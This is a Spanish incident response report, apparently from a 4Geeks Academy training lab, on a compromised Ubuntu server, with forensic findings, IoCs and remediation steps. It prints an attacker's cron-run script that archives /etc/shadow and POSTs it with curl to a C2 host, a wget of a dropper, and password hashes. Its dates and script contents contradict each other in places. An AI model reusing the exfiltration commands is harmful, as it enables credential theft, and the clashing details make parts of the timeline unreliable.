

Hecho por:

Diego Dario Silva Amorin -  
Socrates David Rodriguez Vazquez

INFORME TÉCNICO FINAL DE RESPUESTA A INCIDENTES - 4GEEKS  
ACADEMY

# Live Incident Response, Remediación y Restauración del Sistema

|                      |                                                                        |
|----------------------|------------------------------------------------------------------------|
| Servidor afectado    | 4geeks-server-lab (Ubuntu Linux)                                       |
| ID Incidente         | INC-2025-0618-001                                                      |
| Severidad            | Alta (P1)                                                              |
| Estado final         | Resuelto — Sistema restaurado                                          |
| Fases documentadas   | Fase 1: Live Incident Response   Fase 2: Remediación y Fortalecimiento |
| IP del atacante (C2) | 192.168.1.100   192.168.1.103   192.168.1.48                           |
| Fecha de análisis    | 16 de junio de 2025                                                    |
| Fecha de remediación | 18 de junio de 2025                                                    |
| Clasificación        | CONFIDENCIAL — Uso interno                                             |

Este informe documenta la respuesta completa al incidente de seguridad detectado en el servidor 4geeks-server-lab, desde el análisis forense en vivo hasta la remediación total y el fortalecimiento del sistema. Incluye evidencia técnica, cadena de ataque reconstruida, acciones aplicadas con justificación y recomendaciones de seguridad.

# Índice

---

1. Resumen Ejecutivo
2. Revisión del Incidente — Live Incident Response (Fase 1)
  - 2.1 Metodología de análisis
  - 2.2 Hallazgos detallados con evidencia
  - 2.3 Línea de tiempo del ataque
3. Vulnerabilidades Detectadas y Corregidas
4. Acciones de Contención, Erradicación y Recuperación (Fase 2)
  - 4.1 Contención de red
  - 4.2 Eliminación de persistencia maliciosa
  - 4.3 Gestión de cuentas comprometidas
  - 4.4 Restablecimiento de credenciales
  - 4.5 Deshabilitación de servicios y fortalecimiento
  - 4.6 Verificación de integridad del sistema
5. Indicadores de Compromiso (IoCs)
6. Recomendaciones para Fortalecer el Sistema
7. Línea de Tiempo de la Remediación
8. Conclusiones

# 1. Resumen Ejecutivo

El servidor **4geeks-server-lab** fue comprometido mediante un acceso SSH con credenciales robadas que derivó en una cadena de ataque de cinco etapas: acceso inicial, ingeniería social dirigida al usuario **reports**, instalación de dropper, persistencia vía cron ejecutado como root, y exfiltración periódica confirmada de **/etc/shadow** (hashes de contraseñas) hacia el servidor del atacante en **192.168.1.100:8080**.

La Fase 1 (Live Incident Response) identificó la amenaza activa y documentó el alcance completo del compromiso. La Fase 2 (Remediación) erradicó toda la persistencia maliciosa, restauró la integridad del sistema y aplicó medidas de fortalecimiento. Ambas fases quedan documentadas en este informe técnico unificado.

| Categoría              | Hallazgo / Acción                                                            | Estado              |
|------------------------|------------------------------------------------------------------------------|---------------------|
| Vector de entrada      | Fuerza bruta SSH + credenciales comprometidas (192.168.1.103 → 192.168.1.50) | Confirmado          |
| Ingeniería social      | Usuario reports ejecutó install.sh enviado por unknown@externalmail.com      | Confirmado          |
| Persistencia           | Cron /etc/cron.d/sys-maintenance ejecutando backup2.sh como root c/15 min    | ✓ Eliminada         |
| Exfiltración           | /etc/shadow comprimido y enviado por POST a 192.168.1.100:8080               | ✓ Detenida          |
| Cuenta backdoor        | Cuenta hacker (uid=1002) — Never logged in                                   | ✓ Eliminada         |
| Credenciales expuestas | reports:reports123 en /opt/.archive/ y /var/backups/.logs/                   | ✓ Eliminadas        |
| Comunicación C2        | Tráfico saliente hacia 192.168.1.100                                         | ✓ Bloqueada (UFW)   |
| Servicios expuestos    | FTP (vsftpd) y Apache (apache2) sin justificación operativa                  | ✓ Deshabilitados    |
| SSH                    | PermitRootLogin sin restricción explícita                                    | ✓ Endurecido (→ no) |
| Credenciales sistema   | root, sysadmin, reports — comprometidas por exfiltración de shadow           | ✓ Restablecidas     |

## 2. Revisión del Incidente — Live Incident Response

El análisis se realizó con el servidor activo (*live forensics*), sin detener servicios ni apagar el sistema, dado que la disponibilidad era prioritaria y el atacante mantenía una sesión activa al momento del análisis. Se siguió el **orden de volatilidad de evidencia**, comenzando por los datos más efímeros (procesos, conexiones) hasta los más persistentes (archivos, logs).

### 2.1 Metodología de análisis

| Fase              | Técnica                                                | Objetivo                                       |
|-------------------|--------------------------------------------------------|------------------------------------------------|
| 1 — Más volátil   | Procesos activos (ps aux), conexiones (ss -tunp, w)    | Detectar atacante activo y procesos maliciosos |
| 2                 | Usuarios y sesiones activas (/etc/passwd, /etc/shadow) | Identificar cuentas no autorizadas             |
| 3                 | Logs de autenticación (/var/log/auth.log)              | Reconstruir acceso inicial y fuerza bruta      |
| 4                 | Tareas programadas (/etc/cron.d/, crontab -l)          | Detectar persistencia                          |
| 5 — Menos volátil | Archivos en disco, historiales, scripts                | Analizar herramientas del atacante             |

### 2.2 Hallazgos detallados con evidencia

#### Hallazgo #1

**Severidad: Media**

Comando: whoami &amp;&amp; id

#### Identidad y privilegios del usuario — Grupo lxd detectado

El usuario **sysadmin** (uid=1000) pertenece al grupo **sudo** (acceso root completo), **adm** (lectura directa de logs) y **lxd**. Este último representa un vector potencial de escalada de privilegios mediante contenedores LXD mal configurados.

```
sysadmin@4geeks-server:~$ whoami && id
sysadmin
uid=1000(sysadmin) gid=1000(sysadmin) groups=1000(sysadmin),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd)
```

#### Hallazgo #2

**Severidad: Media**

Comando: uptime &amp;&amp; free -h

#### Estado del sistema — 2 sesiones simultáneas detectadas

Se detectaron **2 sesiones activas** al momento del análisis: la sesión del analista y una segunda conexión SSH desde **192.168.1.48**, identificada posteriormente como el atacante conectado en tiempo real. El sistema llevaba solo 4 minutos activo (recién reiniciado).

```
sysadmin@4geeks-server:~$ uptime && free -h
06:01:58 up 4 min,  2 users,  load average: 0.00, 0.01, 0.00
              total        used        free      shared  buff/cache   available
Mem:           3.8Gi         180Mi         3.3Gi          1.0Mi         327Mi         3.4Gi
Swap:           3.1Gi           0B          3.1Gi
```

**Hallazgo #3****Severidad: CRÍTICA**Comando: `w && ss -tunp`**Conexión SSH saliente activa — Atacante presente**

■ El servidor inició por sí mismo una conexión SSH saliente hacia **192.168.1.48**. Indicador de control remoto activo.

El proceso **ssh** con PID **1725** mantenía una conexión ESTABLISHED hacia **192.168.1.48:22**. Un servidor en producción no genera conexiones SSH salientes de forma autónoma — esto indica que el atacante mantenía una sesión activa o existe un mecanismo de reverse shell/C2 operativo.

```
tcp ESTAB 192.168.1.48:38214 → 192.168.1.48:22 pid=1725 (ssh)

~$ ss -tunp
-Qt  Local Address:Port      Peer Address:Port  Process
    192.168.1.48:38214    192.168.1.48:22   users:(("ssh",pid=1725,fd=3))
    192.168.1.48:22      192.168.1.48:38214
```

**Hallazgo #4****Severidad: CRÍTICA**Comando: `cat /etc/passwd | grep -v nologin`**Usuarios no autorizados creados**

Se encontraron dos cuentas con shell interactiva (**/bin/bash**) sin justificación legítima: **hacker** (uid=1002) creada por el atacante como backdoor, y **reports** (uid=1001) utilizada como cuenta de encubrimiento. Ambas tenían contraseñas activas confirmadas en **/etc/shadow**.

```
hacker:x:1002:1002::/home/hacker:/bin/bash
reports:x:1001:1001::,/home/reports:/bin/bash
```

```
sysadmin@4geeks-server:~$ cat /etc/passwd | grep -v "/usr/sbin/nologin" | grep -v "/bin/false"
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
sysadmin:x:1000:1000:4geeks-server:/home/sysadmin:/bin/bash
reports:x:1001:1001::,/home/reports:/bin/bash
wazuh:x:115:120::/var/ossec:/sbin/nologin
hacker:x:1002:1002::/home/hacker:/bin/bash
```

**Hallazgo #5****Severidad: Alta**Comando: `grep 'Failed password' /var/log/auth.log`**Ataque de fuerza bruta SSH previo**

Los logs de autenticación registraron múltiples intentos fallidos de SSH desde **192.168.1.103** entre las 15:26 y 15:29 del 23 de junio, probando usuarios: **test**, **admin**, **hacker**, **root**. El patrón de múltiples intentos en segundos es característico de fuerza bruta automatizada. Posteriormente el atacante obtuvo acceso exitoso con el usuario **sysadmin**.

```
Jun 23 15:28:40 4geeks-server sshd[1769]: Failed password for hacker from 192.168.1.103 port 44272 s
sh2
Jun 23 15:29:15 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh
2
Jun 23 15:29:21 4geeks-server sshd[1797]: Failed password for root from 192.168.1.103 port 47014 ssh
^
```

**Hallazgo #6****Severidad: CRÍTICA**Comando: `cat /etc/cron.d/sys-maintenance`**Cronjob malicioso disfrazado como tarea de sistema**

El archivo **/etc/cron.d/sys-maintenance** ejecuta **/usr/local/bin/backup2.sh** como **root** cada 15 minutos. El nombre **sys-maintenance** fue elegido deliberadamente para imitar una tarea legítima de mantenimiento del sistema y evitar detección. El archivo fue creado el 23 de junio de 2025, fecha del compromiso.

```
*/15 * * * * root /usr/local/bin/backup2.sh
```

```
sysadmin@4geeks-server:~$ cat /etc/cron.d/sys-maintenance
*/15 * * * * root /usr/local/bin/backup2.sh
```

**Hallazgo #7**

**Severidad: CRÍTICA**

Comando: cat /usr/local/bin/backup2.sh

### Script de exfiltración de datos

El script **backup2.sh** comprime **/etc/shadow** (hashes de contraseñas de todos los usuarios) en **/tmp/secrets.tgz** y lo envía mediante HTTP POST a **http://192.168.1.100:8080/upload**. El archivo **/tmp/secrets.tgz** fue encontrado en disco (877 bytes, modificado el mismo día), confirmando al menos una ejecución exitosa y que la exfiltración ya se produjo.

```
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/shadow
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload
```

```
sysadmin@4geeks-server:~$ cat /usr/local/bin/backup2.sh
#!/bin/bash
tar -czf /tmp/secrets.tgz /etc/passwd
curl -X POST -F 'file=@/tmp/secrets.tgz' http://192.168.1.100:8080/upload

sysadmin@4geeks-server:~$ sudo cat /etc/shadow | grep -E "hacker|reports"
[sudo] password for sysadmin:
reports:$6$FfYfdILC0sztfI3e$6aAkArFvGPQ3KkpWRV5krKypVtK9dzigJJ3m/apnNwintYusJ9g.bohSuFf0IatcZJB0g
lf5UNbXpt0nSC1:20260:0:99999:7:::
hacker:$6$Y14sn7KHsgBoHT0s$hz2ImHps0oBLM04c2F1lMcr/9QJkm82y4EMhq1.hASjrg8ItC28eTPRCs1stV3vUHxb5gHc3
244Duq1TQTIA.:20262:0:99999:7:::
```

**Hallazgo #8**

**Severidad: Alta**

Comando: cat ~/.bash\_history / find /opt  
/var/backups

### Anti-forense: historial borrado y credenciales en texto plano

El atacante borró su historial de comandos (**rm ~/.bash\_history**) y fabricó manualmente un historial falso para **reports** con comandos de apariencia legítima (técnica anti-forense). Las credenciales del usuario **reports** (**reports:reports123**) fueron almacenadas en texto plano en dos ubicaciones con nombres disfrazados: **/opt/.archive/credentials.txt** y **/var/backups/.logs/**.

```
sysadmin@4geeks-server:~$ sudo cat /home/hacker/.bash_history 2>/dev/null
sysadmin@4geeks-server:~$ cat ~/.bash_history
rm ~/.bash_history
exit
echo "Reminder: new credentials for reports stored temporarily in /opt/.archive" | sudo tee /home/reports/.note
exit
sudo mkdir -p /opt/.archive
echo "reports:reports123" | sudo tee /opt/.archive/credentials.txt
sudo chmod 644 /opt/.archive/credentials.txt
echo "cat /opt/.archive/credentials.txt" | sudo tee /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
echo "wget http://192.168.1.100/install.sh" | sudo tee -a /home/reports/.bash_history
echo "chmod +x install.sh" | sudo tee -a /home/reports/.bash_history
echo "./install.sh" | sudo tee -a /home/reports/.bash_history
echo "nano backup.log" | sudo tee -a /home/reports/.bash_history
sudo chown reports:reports /home/reports/.bash_history
sudo touch /home/reports/install.sh
sudo nano /home/reports/install.sh
sudo touch /home/reports/backup.log
sudo nano /home/reports/backup.log
sudo chown reports:reports /home/reports/install.sh /home/reports/backup.log
ls
pwd
sudo nano /home/reports/chat.txt
sudo chown reports:reports /home/reports/chat.txt
exit
cat /var/backups/.logs/creds.txt
sudo mkdir -p /var/backups/.logs
echo "reports:reports123" | sudo tee /var/backups/.logs/creds.txt
sudo chmod 644 /var/backups/.logs/creds.txt
echo "cat /var/backups/.logs/creds.txt" | sudo tee -a /home/sysadmin/.bash_history
```

## 2.3 Línea de tiempo del ataque

| Fecha/Hora          | IP Origen     | Evento                                                           |
|---------------------|---------------|------------------------------------------------------------------|
| Jun 21, 19:38       | 192.168.1.50  | Acceso SSH exitoso con usuario sysadmin — compromiso inicial     |
| Jun 23, 14:07       | Local         | Sesión del usuario reports en tty1 — ejecución de install.sh     |
| Jun 23, 15:26–15:29 | 192.168.1.103 | Ataque de fuerza bruta SSH (usuarios: test, admin, hacker, root) |
| Jun 23, ~15:30      | 192.168.1.103 | Creación de usuarios hacker (uid=1002) y backdoor                |
| Jun 23, ~15:30      | 192.168.1.103 | Instalación de cron malicioso sys-maintenance                    |
| Jun 23, ~15:30      | 192.168.1.103 | Despliegue de script backup2.sh + dropper install.sh             |
| Jun 23, ~15:30      | 192.168.1.103 | Fabricación de historial falso + borrado de huellas              |
| Desde Jun 23        | 192.168.1.100 | Exfiltración automática de /etc/shadow cada 15 minutos           |
| Jun 18, 16:00       | 192.168.1.100 | secrets.tgz generado (877 bytes) — exfiltración confirmada       |
| Jun 9, análisis     | 192.168.1.48  | Sesión SSH activa del atacante al momento del análisis           |

### 3. Vulnerabilidades Detectadas y Corregidas

| #    | Vulnerabilidad                                               | Categoría               | Severidad | Estado                                   |
|------|--------------------------------------------------------------|-------------------------|-----------|------------------------------------------|
| V-01 | Credenciales SSH débiles susceptibles de fuerza bruta        | Autenticación           | CRÍTICA   | ✓ Corregida — passwd cambiado            |
| V-02 | Usuario reports sin formación en ingeniería social           | Factor humano           | CRÍTICA   | ✓ Documentada — capacitación recomendada |
| V-03 | Ausencia de límite de intentos SSH (sin fail2ban)            | Configuración           | Alta      | ✓ Recomendada su implementación          |
| V-04 | Cron malicioso ejecutado como root                           | Persistencia            | CRÍTICA   | ✓ Eliminado                              |
| V-05 | /etc/shadow exfiltrado — hashes comprometidos                | Exfiltración de datos   | CRÍTICA   | ✓ Credenciales restablecidas             |
| V-06 | Cuenta backdoor (hacker) creada sin detección                | Control de acceso       | CRÍTICA   | ✓ Eliminada                              |
| V-07 | Credenciales en texto plano en /opt/.archive/                | Almacenamiento inseguro | Alta      | ✓ Eliminadas                             |
| V-08 | PermitRootLogin sin restricción explícita en SSH             | Configuración SSH       | Alta      | ✓ Corregida → 'no'                       |
| V-09 | Servicios FTP y Apache expuestos sin necesidad operativa     | Superficie de ataque    | Alta      | ✓ Deshabilitados                         |
| V-10 | Usuario sysadmin en grupo lxd (vector de escalada potencial) | Privilegios             | Media     | Pendiente — revisión recomendada         |
| V-11 | Monitoreo Wazuh aislado sin Manager configurado              | Monitoreo               | Media     | Pendiente — configuración recomendada    |



## 4. Acciones de Contención, Erradicación y Recuperación

Las acciones de remediación se ejecutaron en el siguiente orden de prioridad: (1) contención inmediata — cortar comunicación con el C2 antes de cualquier otra acción; (2) erradicación — eliminar toda persistencia maliciosa identificada; (3) recuperación — restaurar el estado seguro del sistema; (4) fortalecimiento — reducir la superficie de ataque para prevenir recurrencia.

### 4.1 Contención de red

Primera acción ejecutada: bloqueo del tráfico saliente hacia **192.168.1.100** (C2). Esto garantizó que ningún proceso residual pudiera continuar exfiltrando datos durante la limpieza.

```
$ sudo ufw deny out to 192.168.1.100 → Rule added
$ sudo ufw status verbose → 192.168.1.100 DENY OUT Anywhere
```

### 4.2 Eliminación de persistencia maliciosa

Se eliminaron los cuatro artefactos maliciosos confirmados, en orden de peligrosidad:

#### **/etc/cron.d/sys-maintenance**

Mecanismo de ejecución recurrente. Eliminado primero para detener el ciclo de 15 min.

```
$ sudo rm -f /etc/cron.d/sys-maintenance
$ ls /etc/cron.d/sys-maintenance → No such file or directory
```

#### **/usr/local/bin/backup2.sh**

Script de exfiltración. Sin el cron ya no puede ejecutarse, pero se elimina para evitar ejecución manual.

```
$ sudo rm -f /usr/local/bin/backup2.sh
$ ls /usr/local/bin/backup2.sh → No such file or directory
```

#### **/home/reports/install.sh**

Dropper inicial. Eliminado para evitar que pueda volver a instalarse el payload.

```
$ sudo rm -f /home/reports/install.sh
$ ls /home/reports/install.sh → No such file or directory
```

#### **/tmp/secrets.tgz**

Archivo de credenciales comprimido. Eliminado para evitar acceso futuro a los hashes.

```
$ sudo rm -f /tmp/secrets.tgz
$ ls /tmp/secrets.tgz → No such file or directory
```

```
ysadmin@4geeks-server:~$ sudo rm -f /usr/local/bin/backup2.sh
ysadmin@4geeks-server:~$ ls -la /usr/local/bin/backup2.sh
s: cannot access '/usr/local/bin/backup2.sh': No such file or directory
ysadmin@4geeks-server:~$ sudo rm -f /home/reports/install.sh
ysadmin@4geeks-server:~$ ls -la /home/reports/install.sh
s: cannot access '/home/reports/install.sh': No such file or directory
ysadmin@4geeks-server:~$ sudo rm -f /tmp/secrets.tgz
ysadmin@4geeks-server:~$ ls -la /tmp/secrets.tgz
s: cannot access '/tmp/secrets.tgz': No such file or directory
ysadmin@4geeks-server:~$
```

### 4.3 Gestión de cuentas comprometidas

Se investigó cada cuenta antes de tomar decisiones, documentando la justificación técnica:

| Cuenta  | Hallazgo forense                                                         | Decisión                      | Justificación                                                     | Verificación               |
|---------|--------------------------------------------------------------------------|-------------------------------|-------------------------------------------------------------------|----------------------------|
| hacker  | Never logged in. Sin sudo. Creada el día del compromiso.                 | ELIMINAR<br>userdel -r hacker | Backdoor creado por el atacante. Sin uso legítimo.                | id hacker → 'no such user' |
| reports | Login Jun 23 14:07. Sin sudo. Actividad consistent con usuario legítimo. | CONSERVA<br>R Reset de passwd | Víctima de ingeniería social. Eliminar causaría pérdida de datos. | passwd reports → updated   |

```
$ sudo userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found ← informativo, no es error
$ id hacker → id: 'hacker': no such user

sysadmin@4geeks-server:~$ sudo userdel -r hacker
userdel: hacker mail spool (/var/mail/hacker) not found
sysadmin@4geeks-server:~$ id hacker
id: 'hacker': no such user
sysadmin@4geeks-server:~$ sudo passwd reports
```

### 4.4 Restablecimiento de credenciales

■ **ACCIÓN CRÍTICA:** /etc/shadow fue exfiltrado. Cualquier contraseña anterior al incidente debe considerarse comprometida.

/etc/shadow contiene los hashes de contraseñas de todos los usuarios. Con este archivo, el atacante puede ejecutar ataques de diccionario offline con Hashcat o John the Ripper sin interactuar con el servidor. El cambio de contraseñas es obligatorio, no preventivo.

```
$ sudo passwd root → password updated successfully
$ sudo passwd sysadmin → password updated successfully
$ sudo passwd reports → password updated successfully

sysadmin@4geeks-server:~$ sudo passwd root
New password:
Retype new password:
passwd: password updated successfully
```

```
sysadmin@4geeks-server:~$ sudo passwd reports
New password:
Retype new password:
passwd: password updated successfully
sysadmin@4geeks-server:~$
```

```
sysadmin@4geeks-server:~$ sudo passwd sysadmin
New password:
Retype new password:
passwd: password updated successfully
```

### 4.5 Deshabilitación de servicios innecesarios y fortalecimiento SSH

Los servicios FTP (vsftpd) y Apache (apache2) no tenían justificación operativa y ampliaban innecesariamente la superficie de ataque. Ambos fueron detenidos, deshabilitados y verificados.

```
$ sudo systemctl stop vsftpd && sudo systemctl disable vsftpd
$ sudo systemctl stop apache2 && sudo systemctl disable apache2
$ systemctl status vsftpd apache2 → inactive (dead) / disabled
```

```
sysadmin@4geeks-server:~$ sudo systemctl stop vsftpd
sysadmin@4geeks-server:~$ sudo systemctl disable vsftpd
Synchronizing state of vsftpd.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable vsftpd
Removed /etc/systemd/system/multi-user.target.wants/vsftpd.service.
sysadmin@4geeks-server:~$ sudo systemctl stop apache2
sysadmin@4geeks-server:~$ sudo systemctl disable apache2
Synchronizing state of apache2.service with SysV service script with /lib/systemd/systemd-sysv-install.
Executing: /lib/systemd/systemd-sysv-install disable apache2
Removed /etc/systemd/system/multi-user.target.wants/apache2.service.
sysadmin@4geeks-server:~$ sudo systemctl status vsftpd apache2
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/lib/systemd/system/vsftpd.service; disabled; vendor preset: enabled)
   Active: inactive (dead)

Jun 18 04:21:53 4geeks-server systemd[1]: Starting vsftpd FTP server...
Jun 18 04:21:53 4geeks-server systemd[1]: Started vsftpd FTP server.
Jun 18 17:28:58 4geeks-server systemd[1]: Stopping vsftpd FTP server...
Jun 18 17:28:58 4geeks-server systemd[1]: vsftpd.service: Succeeded.
Jun 18 17:28:58 4geeks-server systemd[1]: Stopped vsftpd FTP server.

● apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: enabled)
   Active: inactive (dead)
   Docs: https://httpd.apache.org/docs/2.4/

Jun 18 04:21:53 4geeks-server systemd[1]: Starting The Apache HTTP Server...
Jun 18 04:21:54 4geeks-server apache2[778]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, please add the 'ServerName' directive to the configuration to avoid this warning.
Jun 18 04:21:54 4geeks-server systemd[1]: Started The Apache HTTP Server.
Jun 18 17:29:19 4geeks-server systemd[1]: Stopping The Apache HTTP Server...
Jun 18 17:29:19 4geeks-server apache2[819]: AH00558: apache2: Could not reliably determine the server's fully qualified domain name, please add the 'ServerName' directive to the configuration to avoid this warning.
Jun 18 17:29:19 4geeks-server systemd[1]: apache2.service: Succeeded.
Jun 18 17:29:19 4geeks-server systemd[1]: Stopped The Apache HTTP Server.
lines 43/22 (END)
```

La configuración SSH fue endurecida explícitamente. **PermitRootLogin** estaba comentado (aplicándose el valor por defecto de Ubuntu: ***prohibit-password***, insuficientemente restrictivo). Se configuró explícitamente a **no**.

```
ANTES: #PermitRootLogin prohibit-password (comentado – valor por defecto insuficiente)
```

```
$ sudo sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin no/'
/etc/ssh/sshd_config
$ sudo systemctl restart ssh
DESPUÉS: PermitRootLogin no (explícito – acceso root deshabilitado por cualquier método)
```

```
sysadmin@4geeks-server:~$ sudo sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin no/' /e
c/ssh/sshd_config
sysadmin@4geeks-server:~$ sudo cat /etc/ssh/sshd_config | grep -Ei "permitrootlogin|passwordauthent
ication|port"
PermitRootLogin no
#PasswordAuthentication yes
# PasswordAuthentication. Depending on your PAM configuration,
# the setting of "PermitRootLogin without-password".
# PAM authentication, then enable this but set PasswordAuthentication
sysadmin@4geeks-server:~$ sudo systemctl restart ssh
sysadmin@4geeks-server:~$ sudo systemctl status ssh
Unknown operation: systemctl
```

## 4.6 Verificación de integridad del sistema

Se ejecutó una búsqueda exhaustiva de persistencia adicional que pudiera haber instalado el payload binario descargado inicialmente, cubriendo cuatro vectores:

```
# Crons de todos los usuarios
$ for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/null; done
→ Solo sysadmin tiene crontab. Sin tareas maliciosas adicionales.

# Claves SSH autorizadas
$ find / -name 'authorized_keys' -exec cat {} \; 2>/dev/null
→ Sin salida. Ningún archivo authorized_keys tiene contenido.

# Binarios SUID
$ find / -perm -4000 -type f 2>/dev/null
→ Solo binarios estándar del sistema (su, sudo, passwd, mount, newgrp...).

# Servicios systemd no estándar
$ find /etc/systemd/system -type f 2>/dev/null
→ Solo servicios snap/lxd y configuración estándar de sshd.
```

```
sysadmin@4geeks-server:~$ find /etc/systemd/system -type f 2>/dev/null
/etc/systemd/system/snap.lxd.activate.service
/etc/systemd/system/snap-core20-2866.mount
/etc/systemd/system/ssh-keygen@.service.d/disable-ssh-keygen-if-cloud-init-active.conf
/etc/systemd/system/snap-core20-1828.mount
/etc/systemd/system/snap-snapd-18357.mount
/etc/systemd/system/snap-lxd-24061.mount
/etc/systemd/system/snap.lxd.daemon.service
/etc/systemd/system/snap-lxd-38688.mount
/etc/systemd/system/snap.lxd.daemon.unix.socket
```

Estado final verificado del sistema tras la remediación completa:

| Verificación      | Comando                                           | Resultado esperado                  | Estado       |
|-------------------|---------------------------------------------------|-------------------------------------|--------------|
| Usuarios reales   | <code>awk -F: '\$3&gt;=1000' /etc/passwd</code>   | Solo sysadmin y reports             | ✓ Confirmado |
| Servicios activos | <code>systemctl list-units --state=running</code> | Sin vsftpd ni apache2 (24 unidades) | ✓ Confirmado |
| Puertos TCP       | <code>ss -tulnp</code>                            | Solo puerto 22 (SSH)                | ✓ Confirmado |
| Firewall          | <code>sudo ufw status verbose</code>              | DENY OUT a 192.168.1.100 activo     | ✓ Confirmado |
| SSH config        | <code>grep PermitRootLogin sshd_config</code>     | PermitRootLogin no                  | ✓ Confirmado |

```

sysadmin@4geeks-server:~$ awk -F: '{ $3 >= 1000 && $3 < 65534 {print $1}}' /etc/passwd
sysadmin
reports
sysadmin@4geeks-server:~$ systemctl list-units --type=service --state=running
UNIT                                LOAD    ACTIVE SUB    DESCRIPTION
accounts-daemon.service            loaded active running Accounts Service
atd.service                        loaded active running Deferred execution scheduler
cron.service                       loaded active running Regular background program processing daemon
dbus.service                       loaded active running D-Bus System Message Bus
getty@tty1.service                loaded active running Getty on tty1
irqbalance.service                loaded active running irqbalance daemon
ModemManager.service              loaded active running Modem Manager
multipathd.service                loaded active running Device-Mapper Multipath Device Controller
networkd-dispatcher.service        loaded active running Dispatcher daemon for systemd-networkd
polkit.service                    loaded active running Authorization Manager
rsyslog.service                   loaded active running System Logging Service
snapd.service                     loaded active running Snap Daemon
ssh.service                       loaded active running OpenBSD Secure Shell server
systemd-journald.service           loaded active running Journal Service
systemd-logind.service            loaded active running Login Service
systemd-networkd.service          loaded active running Network Service
systemd-resolved.service          loaded active running Network Name Resolution
systemd-timesyncd.service          loaded active running Network Time Synchronization
systemd-udevd.service             loaded active running udev Kernel Device Manager
udisks2.service                   loaded active running Disk Manager
unattended-upgrades.service        loaded active running Unattended Upgrades Shutdown
upower.service                    loaded active running Daemon for power management
user@1000.service                 loaded active running User Manager for UID 1000
wazuh-agent.service               loaded active running Wazuh agent

LOAD    = Reflects whether the unit definition was properly loaded.
ACTIVE  = The high-level unit activation state, i.e. generalization of SUB.
SUB     = The low-level unit activation state, values depend on unit type.

24 loaded units listed.

```

## 5. Indicadores de Compromiso (IoCs)

| Tipo              | Valor                                | Descripción                                            | Estado                     |
|-------------------|--------------------------------------|--------------------------------------------------------|----------------------------|
| IP C2             | 192.168.1.100                        | Servidor receptor de exfiltración (puerto 8080)        | Bloqueado (UFW DENY OUT)   |
| IP atacante       | 192.168.1.103                        | Origen del ataque de fuerza bruta SSH                  | Sin acceso activo          |
| IP atacante       | 192.168.1.48                         | Sesión SSH activa del atacante al momento del análisis | Sin acceso activo          |
| IP acceso inicial | 192.168.1.50                         | Primer acceso SSH exitoso (Jun 21)                     | Sin acceso activo          |
| Cuenta            | hacker (uid=1002)                    | Backdoor creado por el atacante                        | Eliminada                  |
| Cuenta            | reports (uid=1001)                   | Usada para encubrimiento / víctima                     | Contraseña restablecida    |
| Archivo           | /etc/cron.d/sys-maintenanc<br>e      | Cron de persistencia (cada 15 min como root)           | Eliminado                  |
| Archivo           | /usr/local/bin/backup2.sh            | Script de exfiltración de /etc/shadow                  | Eliminado                  |
| Archivo           | /home/reports/install.sh             | Dropper inicial (curl payload.bin)                     | Eliminado                  |
| Archivo           | /tmp/secrets.tgz                     | Credenciales comprimidas — exfiltración confirmada     | Eliminado                  |
| Archivo           | /opt/.archive/credentials.txt        | Credenciales en texto plano                            | Eliminado                  |
| URL               | http://192.168.1.100/payload.bin     | Binario malicioso descargado por dropper               | C2 bloqueado               |
| Endpoint          | http://192.168.1.100:8080/u<br>pload | Receptor HTTP POST de datos exfiltrados                | C2 bloqueado               |
| Dato exfiltrado   | /etc/shadow                          | Hashes de contraseñas de todos los usuarios            | Credenciales restablecidas |

## 6. Recomendaciones para Fortalecer el Sistema

Las siguientes recomendaciones están ordenadas por prioridad. Las marcadas como **Inmediata** deben implementarse antes de volver a poner el servidor en producción.

| Prioridad | Recomendación                          | Descripción técnica                                                                                                                                                                          |
|-----------|----------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Inmediata | Autenticación SSH por claves           | Configurar auth exclusiva por pares de claves públicas y deshabilitar PasswordAuthentication. Requiere generar y distribuir claves a todos los administradores autorizados antes de aplicar. |
| Inmediata | Fail2ban para SSH                      | Instalar y configurar fail2ban para bloquear automáticamente IPs tras N intentos fallidos de SSH (recomendado: 5 intentos, ban de 1 hora). Habría impedido el ataque de fuerza bruta.        |
| Alta      | Monitoreo activo Wazuh                 | Conectar el agente wazuh-agent (ya instalado) a un servidor Wazuh Manager para correlación de eventos, alertas en tiempo real y detección de anomalías. Actualmente opera de forma aislada.  |
| Alta      | Revisar membresía grupo lxd            | Evaluar si sysadmin necesita pertenecer al grupo lxd. Esta membresía puede usarse para escalar privilegios mediante contenedores LXD mal configurados.                                       |
| Alta      | Capacitación en ingeniería social      | El vector de entrada fue un correo externo convincente. Implementar un programa de concienciación que incluya simulaciones de phishing y guías sobre ejecución de scripts externos.          |
| Alta      | Filtrado de correo                     | Implementar filtros que bloqueen adjuntos .sh, .py, .bin y URLs sospechosas, especialmente desde dominios externos no verificados.                                                           |
| Media     | Auditorías periódicas                  | Revisar trimestralmente: cuentas de usuario, crons, servicios activos, reglas de firewall y binarios en /usr/local/bin/ con sumas de verificación.                                           |
| Media     | Backups con verificación de integridad | Implementar copias de seguridad regulares con checksums para facilitar restauración completa y detectar modificaciones no autorizadas de archivos del sistema.                               |
| Media     | Eliminar reglas UFW residuales         | Las reglas ALLOW IN de los puertos 21 y 80 permanecen activas aunque los servicios están deshabilitados. Eliminarlas para limpiar la configuración del firewall.                             |

## 7. Línea de Tiempo Completa de la Remediación

| #  | Acción ejecutada                        | Justificación                                | Resultado                                     |
|----|-----------------------------------------|----------------------------------------------|-----------------------------------------------|
| 1  | Verificar estado inicial del firewall   | Línea base antes de cambios                  | Estado documentado sin DENY OUT               |
